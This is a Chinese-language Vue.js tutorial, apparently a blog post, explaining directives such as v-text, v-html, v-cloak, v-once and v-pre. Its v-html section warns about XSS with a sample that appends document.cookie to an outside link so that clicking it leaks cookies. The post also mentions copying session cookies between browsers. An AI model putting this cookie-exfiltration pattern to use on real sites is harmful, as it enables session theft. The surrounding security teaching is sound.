vue中有很多的指令像v-on、v-model、v-bind等是我们开发中常用的 常用指令
v-bind 单向绑定解析表达式 v-model 双向数据绑定 v-for 遍历数组/对象/字符串 v-on 绑定事件监听,可简写为@ v-show 条件渲染(动态控制节点是否存展示) v-if 条件渲染(动态控制节点是否存存在) v-else 条件渲染(动态控制节点是否存存在) 不常用指令 v-text 向其所在的节点中渲染文本内容 v-html 向指定节点中渲染包含htm1结构的内容。 v-cloak v-once v-pre
v-text
向其所在的节点中渲染文本内容。 与插值语法的区别: v-text会替换掉节点中的内容,{{xx}}则不会
<div>姓名:{{name}}</div>
<div v-text="name">22222</div>
v-html
向指定节点中渲染包含htm1结构的内容。
普通用法
str中带的html会被解析渲染
<div v-html="str"></div>
data: {
str: '<div style="background:red;font-size:20px;width:200px">123</div>'
}
与插值语法的区别:
- v-html 会替换掉节点中所有的内容,{{xx}}则不会。
- v-html 可以识别html结构。
安全问题
如果不加节制的使用会遇到安全性的问题 什么请情况下会触发安全性问题? 说到安全性问题我们就不得不说cookie了,很多网站在用户登录成功之后会将用户信息记录到cookie中,这样用户在一定时间内再次访问网站时就不需要二次登录了。 如下示例,用户在【Chrome】浏览器登录【gitHub】后,【gitHub】服务器会返回一些信息,域名接收到这些信息后会跳转个人中心页,并将信息存到【Chrome】浏览器下的【giHub】域名下。这样用户再次访问gitHub不需要直接登录。 但是当我们将【Chrome】浏览器的【giHub】域名下的cookie都复制到【IE】浏览器的【giHub】域名下,再去访问【gitHub】,我们会发现不需要再次登录就直接进入了【gitHub】域名下了。 这样就会引发安全性问题。 用户的使用是千奇百怪的,更何况一些黑客会主动的破坏网站 v-html怎么触发安全问题 document.cookie
document.cookie可以获取域名下所有的cookie document.cookie获取不到HttpOnly为true的cookie,
不对外开放的cookie可以通过设置HttpOnly=true
<div v-html="str"></div>
created(){
// 模拟两个cookie
document.cookie="password=John Doe;";
document.cookie="account=23421";
this.str = `<a rel="nofollow" href="https://www.baidu.com/?${document.cookie}" target="blank">百度</div>`
},
将a标签的连接低智商拼接document.cookie,在加一些引诱用户点击的名称,用户就可能会点击这样网站的cookie就会传递过去。 严重注意: v-html有安全性问题!!! !
(1).在网站上动态渲染任意HTML是非常危险的,容易导致
XSS
问题。 (2).一定要在可信的内容上使用v-html,永不要用在用户提交的内容上!
v-cloak
1.本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉V-cloak属性 2.使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}等乱码字符问题。
搭配css之后,页面如果没有加载完成就展示先隐藏,当vue实例化后,会自动的删除v-cloak 这时候display:none也就会不起作用了
<!-- 样式 -->
[v-cloak]{ display:none}
<div v-cloak>{{name}}</div>
v-once
1.v-once所在节点在初次动态渲染后,就视为静态内容了 2.以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能
<div>
<!-- 都插入n,但是带v-once的 n值变化后不会重新渲染 -->
<div v-once>改变前n值:{{n}}</div>
<div>改变后n值:{{n}}</div>
<button @click="n++">n+1</button>
</div>
v-pre
1.跳过其所在节点的编译过程,即原样展示。
2.可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译
.
<div>
<h2 v-pre>姓名显示</h2>
<h2 v-pre>你叫什么名字{{name}}</h2>
</div>